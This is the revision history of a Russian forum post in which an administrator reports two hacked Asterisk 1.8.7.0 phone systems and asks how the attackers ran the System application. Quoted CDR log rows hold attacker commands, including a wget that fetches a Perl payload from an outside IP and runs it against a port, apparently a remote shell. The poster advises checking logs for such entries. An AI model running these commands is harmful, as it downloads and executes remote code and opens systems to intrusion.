История изменений [назад]

вломали пару атс. версия астериска 1.8.7.0

в логах cdr вот такая фигня.

system (echo Fucked> /var/www/html/recordings/misc/x )

внимаение вопрос. как запустили команду system?

вломали пару атс. версия астериска 1.8.7.0

в логах cdr вот такая фигня.

system (echo Fucked> /var/www/html/recordings/misc/x )

внимаение вопрос. как запустили команду system?

mysql> select * from asteriskcdrdb.cdr where lastapp='system'
    -> ;
+---------------------+------+-----+-----+---------------+--------------------------------+------------+---------+-----------------------------------------------------------------------+----------+---------+-------------+----------+-------------+------------------+-----------+
| calldate            | clid | src | dst | dcontext      | channel                        | dstchannel | lastapp | lastdata                                                              | duration | billsec | disposition | amaflags | accountcode | uniqueid         | userfield |
+---------------------+------+-----+-----+---------------+--------------------------------+------------+---------+-----------------------------------------------------------------------+----------+---------+-------------+----------+-------------+------------------+-----------+
| 2012-04-06 02:20:11 |      |     | *98 | from-internal | Local/*98@from-internal-a155;1 |            | System  | wget http://80.68.94.143/dc -O /tmp/dc;perl /tmp/dc 80.68.94.143 3000 |        0 |       0 | ANSWERED    |        3 |             | 1333664411.20963 |           | 
| 2012-04-07 23:31:34 |      |     | *98 | from-internal | Local/*98@from-internal-1655;1 |            | System  | wget http://80.68.94.143/dc -O /tmp/dc;perl /tmp/dc 80.68.94.143 3000 |        1 |       1 | ANSWERED    |        3 |             | 1333827094.22524 |           | 
+---------------------+------+-----+-----+---------------+--------------------------------+------------+---------+-----------------------------------------------------------------------+----------+---------+-------------+----------+-------------+------------------+-----------+
2 rows in set (0.01 sec)

вломали пару атс. версия астериска 1.8.7.0

в логах cdr вот такая фигня.

system (echo Fucked> /var/www/html/recordings/misc/x )

внимаение вопрос. как запустили команду system?

вот другой пример

mysql> select * from asteriskcdrdb.cdr where lastapp='system'
    -> ;
+---------------------+------+-----+-----+---------------+--------------------------------+------------+---------+-----------------------------------------------------------------------+----------+---------+-------------+----------+-------------+------------------+-----------+
| calldate            | clid | src | dst | dcontext      | channel                        | dstchannel | lastapp | lastdata                                                              | duration | billsec | disposition | amaflags | accountcode | uniqueid         | userfield |
+---------------------+------+-----+-----+---------------+--------------------------------+------------+---------+-----------------------------------------------------------------------+----------+---------+-------------+----------+-------------+------------------+-----------+
| 2012-04-06 02:20:11 |      |     | *98 | from-internal | Local/*98@from-internal-a155;1 |            | System  | wget http://80.68.94.143/dc -O /tmp/dc;perl /tmp/dc 80.68.94.143 3000 |        0 |       0 | ANSWERED    |        3 |             | 1333664411.20963 |           | 
| 2012-04-07 23:31:34 |      |     | *98 | from-internal | Local/*98@from-internal-1655;1 |            | System  | wget http://80.68.94.143/dc -O /tmp/dc;perl /tmp/dc 80.68.94.143 3000 |        1 |       1 | ANSWERED    |        3 |             | 1333827094.22524 |           | 
+---------------------+------+-----+-----+---------------+--------------------------------+------------+---------+-----------------------------------------------------------------------+----------+---------+-------------+----------+-------------+------------------+-----------+
2 rows in set (0.01 sec)

вломали пару атс. версия астериска 1.8.7.0

в логах cdr вот такая фигня.

system (echo Fucked> /var/www/html/recordings/misc/x )

внимаение вопрос. как запустили команду system?

вот другой пример

рекомендую всем проверить сдр на предмет  lastapp='system'. ибо в нормальной фрипбкс такого нету.
    mysql> select * from asteriskcdrdb.cdr where lastapp='system'
     -> ;
 +---------------------+------+-----+-----+---------------+--------------------------------+------------+---------+-----------------------------------------------------------------------+----------+---------+-------------+----------+-------------+------------------+-----------+
 | calldate            | clid | src | dst | dcontext      | channel                        | dstchannel | lastapp | lastdata                                                              | duration | billsec | disposition | amaflags | accountcode | uniqueid         | userfield |
 +---------------------+------+-----+-----+---------------+--------------------------------+------------+---------+-----------------------------------------------------------------------+----------+---------+-------------+----------+-------------+------------------+-----------+
 | 2012-04-06 02:20:11 |      |     | *98 98 | from-internal | Local/*98@from-internal-a155;1 Local/98@from-internal-a155;1 |            | System  | wget http://80.68.94.143/dc http://80.68.94.143/dc -O /tmp/dc;perl /tmp/dc 80.68.94.143 3000 |        0 |       0 | ANSWERED    |        3 |             | 1333664411.20963 |           | 
 | 2012-04-07 23:31:34 |      |     | *98 98 | from-internal | Local/*98@from-internal-1655;1 Local/98@from-internal-1655;1 |            | System  | wget http://80.68.94.143/dc http://80.68.94.143/dc -O /tmp/dc;perl /tmp/dc 80.68.94.143 3000 |        1 |       1 | ANSWERED    |        3 |             | 1333827094.22524 |           | 
 +---------------------+------+-----+-----+---------------+--------------------------------+------------+---------+-----------------------------------------------------------------------+----------+---------+-------------+----------+-------------+------------------+-----------+
 2 rows in set (0.01 sec)

самое интересно что нет src вообще